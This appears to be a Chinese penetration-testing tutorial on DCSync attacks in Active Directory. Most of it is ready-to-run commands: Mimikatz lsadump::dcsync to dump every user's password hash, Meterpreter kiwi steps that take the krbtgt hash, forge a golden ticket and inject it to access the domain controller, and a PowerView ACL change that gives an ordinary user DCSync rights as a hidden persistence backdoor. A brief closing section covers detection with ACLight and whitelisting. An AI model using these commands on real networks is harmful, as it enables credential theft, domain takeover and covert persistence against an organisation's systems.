一、原理
DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。
Mimikatz的DCSync 功能:
该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。
权限维持思路:
当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。
二、实际操作
利用 DCSync 导出域内哈希
当我们获取相应的权限后,可以利用 DCSync 功能导出域内用户的哈希值。其原理就是利用 DRS (Directory Replication Service)协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭据。获得了域内用户的哈希后可以进一步利用。
通过 Mimikatz导出【还有其他的方法】
在获取权限的域成员主机上执行如下:
# 导出域内指定用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv
# 导出域内所有用户的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all
lsadump::dcsync /domain:whoamianony.org /all /csv
利用 DCSync 制作黄金票据
在域渗透中,我们可以通过 DCSync 导出域控制器中 krbtgt 账户的哈希,并利用 krbtgt 账户的哈希制作黄金票据。
黄金票据的详情请看:《内网渗透测试:Kerberos协议相关安全问题分析与利用》
测试环境如下:
假设攻击者已经拿下了内网主机 Windows 10,下面演示如何在内网中利用 DCSync 制作黄金票据来访问 DC 上的资源。
拿下 Windows 10 主机之后,我们加载 kiwi 模块:
load kiwi
然后通过kiwi_cmd
执行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:
kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"
然后我们便可以通过 krbtgt 账户的哈希生成黄金票据了:
golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck
执行后生成的票据会咱是存放在你的 Kali 上,然后清空目标主机上的票据:
kerberos_ticket_purge
最后使用kerberos_ticket_use
注入刚才生成的票据即可:
kerberos_ticket_use gold.tck
如上图所示,票据成功注入。此时,攻击者就可以利用 Windows 7 任意访问域控上的资源了:
dir \\DC\c$
有了黄金票据之后的操作就简单了,懂得都懂!
利用 DCSync 进行域内权限维持
要想利用 DCSync 功能,得要拥有 Administrators、Domain Controllers 或 Enterprise Domain Admins 组内的用户权限,因此就让普通域用户拥有 DCSync 的操作权限,那么普通域用户也能导出域内用户的信息了,这样可以可以做一个隐蔽的后门进行权限维持。
具体做法就是为普通域用户添加三条 ACE 访问权限控制项,赋予任意以下任一用户的权限:
- Domain Admins组内的用户
- Enterprise Admins组内的用户
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
我们可以通过 Empire 框架中的 PowerView.ps1 脚本实现:
Import-Module .\powerview.ps1
# 为域用户 whoami 添加以上三条 ACE
Add-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose
三、DCSync 的防御
DCSync 攻击的原理是模拟域控制器与域控制器之间的数据同步复制。最好的防御方法是给控制器设置白名单,将可信任的资产设置在允许同步的白名单内。
除此之外,我们还应尝试枚举 Active Directory 中所有用户的 ACL 查询出所有特权帐户,检测域内被添加 DCSync 权限的用户 。Github 上有一个项目 ACLight便提供了这样的功能,只需执行项目中的 Execute-ACLight2.bat,便会生成以下三个文件:
Privileged Accounts - Layers Analysis.txt
Privileged Accounts Permissions - Final Report.csv
Privileged Accounts Permissions - Irregular Accounts.csv
文件中会显示出所有特权帐户。